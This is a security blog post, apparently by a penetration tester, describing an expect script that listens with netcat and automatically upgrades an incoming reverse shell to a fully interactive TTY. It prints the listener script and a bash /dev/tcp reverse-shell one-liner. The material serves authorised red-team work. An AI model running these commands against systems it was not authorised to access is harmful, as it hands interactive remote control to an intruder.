== section .bss ==
🇬🇧 🇧🇷 🇪🇸
blog started by symbol

Fully (auto) interactive TTY shells


During penetration tests or red teaming exercises, one of the most recurring tasks is gaining an remote shell, whether it be a bind or a reverse one. Once some kind of injection command vulnerability is exploited, for instance, using one of the widely tested snippets is enough to get a reverse shell on the attacker’s machine.

Usually the received shell is a non-interactive one, which precludes the execution of processes that demand a higher level of terminal control, such as visual text editors and programs that deal with login information, for instance. Thus, in order to run those programs, one needs to run a program that, from that shell, will force the allocation of a pseudoterminal (pty) and execute, by means of a fork/exec, a new shell. This new shell will inherit the same file alocation table from the one which allocated the pty, thus being able to run interactive processes.

Additionally, even after getting a remote interactive shell, it is recommended to configure it with the same parameters present on the attacker’s end, to make its output match what is expected there. Another concern is putting the attacker’s terminal on raw mode (no local processing for the keypresses), so that the local keypresses may be sent and processed properly by the remote shell, and disabling the local echo for the typed chars, so as to avoid they appear twice: once when typed and again due to remote echo, after being received on the other end.

Upgrading to fully interactive remote shells

The most experient readers already know that the solution for the previously described problems already exist for a long time, in the form of several offensive blog posts, usually under the “upgrading to fully interactive TTY shells” or something alike. It is an effective solution and it greatly expands the post-exploitation possibilities during an engagement, in addition to providing an environment as comfortable as an SSH or a local terminal emulator session.

There is a single drawback to that solution: it is a bit lengthy process to perform, and it requires increased attention to avoid losing the obtained shell. After having performed the same steps multiple times, the task becomes tedious. After scouring the Internet, I couldn’t find no practical solution to this problem, so I decided doing what every former sysadmin would do: try to automate the process.

Automatic upgrading to fully interactive remote shells

The solution is simple: I used expect, an Unix command used to interact with an interactive program, waiting for a connection and sending the commands needed to perform the shell “upgrade”. My first tries were naïve, as I tried to emulate the same process performed manually:

  • wait for a connection and execute a command on the remote shell to get an interactive shell;
  • put the process that receive the connection in background;
  • save the main terminal host features to pass them along to the remote shell later;
  • put the host terminal in raw mode and disable local echo;
  • bring the receiving process back to foreground;
  • configure the remote tty device with the same parameters as the local one, in addition to informing to the shell the terminal type used;
  • reset the terminal.

The main problem resided in putting the receiving process in background and then back to foreground. After trying several approaches, I convinced myself it would be extremely hard to upgrade the remote shell fully this way.

I had already given up automating that process, when the other day I needed to receive a remote shell multiple times from webshells used for persistence. Already tired from repeating the same process over and over again, I had another look at the unfinished script and realized that I didn’t need to perform everything in the same sequence as executed manually: I could get the needed information about the terminal first, then immediately put the terminal in raw mode and disable local echo. After that, it would suffice to spawn the listening process and wait for the remote shell connection, sending the required commands for getting an interactive shell and configuring the terminal properly on the target end.


In the end, I ended up preparing an expect script that automates the receiving and upgrading of a remote shell. In this case, the port, command to be executed and the expected connection message are hardcoded on the script itself. Adjustments due to the used netcat language or version, or even the usage of other programs, such as openssl, are left as an exercise to the reader.

Before running the script, install expect, in case it is not installed. On Debian or derivative distributions, just use apt:

sudo apt install expect

Then create an expect script with the following contentes, giving it execution permission with chmod +x:

set timeout -1
set rows [exec bash -c {stty -a | head -1 | grep -oP '(?<=rows )\w+(?=;)'}]
set cols [exec bash -c {stty -a | head -1 | grep -oP '(?<=columns )\w+(?=;)'}]
set term [exec bash -c {printenv TERM}]
set stty_init {raw -echo}

spawn nc -nlvp 4321
expect {
	"Connection from" {
		send "python2 -c 'import pty;pty.spawn(\"/bin/bash\");'\r"
		send "stty rows ${rows} columns ${cols}\r"
		send "export TERM=${term}\r"
		send "reset\r"

Lastly, just execute the fresh script and, from the target host, execute a command to get the reverse shell:

bash -i >& /dev/tcp/localhost/4321 0>&1

Done! Now just enjoy your “fully (auto) interactive TTY shell” whenever you need it.